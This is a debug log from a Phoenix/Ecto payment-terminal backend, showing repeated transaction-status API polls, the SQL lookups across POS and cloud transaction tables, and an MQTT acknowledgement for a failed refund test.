SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:41.779000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32808] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1947.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:41.780000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32808] QUERY OK source="cloud_transaction" db=0.4ms idle=1950.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:41.780000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:32808] Sent 200 in 22ms
[Thu Sep  3 10:07:46.760000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:32824] POST /api/device/status
[Thu Sep  3 10:07:46.761000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:32824] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:46.761000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:32824] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:46.761000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:32824] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:46.777000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32824] QUERY OK source="pos_transaction" db=15.7ms idle=1931.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:46.778000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32824] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1947.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:46.781000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32824] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1205.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:46.782000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32824] QUERY OK source="cloud_transaction" db=0.6ms idle=951.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:46.783000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:32824] Sent 200 in 22ms
[Thu Sep  3 10:07:47.139000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730001 with payload: {"request_id" : "refund-test-01","money": "12000.0", "status": "FAILED" }
[Thu Sep  3 10:07:47.140000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730001 with request_id refund-test-01: %{"money" => "12000.0", "request_id" => "refund-test-01", "status" => "FAILED"}
[Thu Sep  3 10:07:47.143000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id refund-test-01 is failed
[Thu Sep  3 10:07:47.150000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.8ms queue=0.1ms idle=1316.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["refund-test-01", "98251226730001"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 10:07:47.151000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=refund-test-01
[Thu Sep  3 10:07:51.683000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46592] POST /api/device/status
[Thu Sep  3 10:07:51.683000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46592] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:51.683000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46592] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:51.684000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46592] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:51.698000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46592] QUERY OK source="pos_transaction" db=13.7ms idle=1854.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:51.699000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46592] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1868.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:51.704000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46592] QUERY OK source="pos_failed_transaction" db=4.0ms idle=1869.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:51.704000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46592] QUERY OK source="cloud_transaction" db=0.5ms idle=1874.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:51.705000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46592] Sent 200 in 21ms
[Thu Sep  3 10:07:56.795000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46596] POST /api/device/status
[Thu Sep  3 10:07:56.795000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46596] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:56.795000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46596] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:56.795000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46596] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:56.810000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46596] QUERY OK source="pos_transaction" db=13.7ms idle=1965.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:56.811000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46596] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1979.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:56.814000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46596] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1980.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:56.815000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46596] QUERY OK source="cloud_transaction" db=0.8ms idle=1983.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:56.815000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46596] Sent 200 in 20ms
[Thu Sep  3 10:08:01.694000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38230] POST /api/device/status
[Thu Sep  3 10:08:01.698000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38230] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:08:01.698000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38230] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:08:01.698000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38230] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:08:01.712000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38230] QUERY OK source="pos_transaction" db=13.8ms idle=1869.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:08:01.714000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38230] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1883.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:08:01.719000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38230] QUERY OK source="pos_failed_transaction" db=3.2ms queue=0.1ms idle=1885.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:08:01.721000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38230] QUERY OK source="cloud_transaction" db=1.4ms idle=1889.6ms
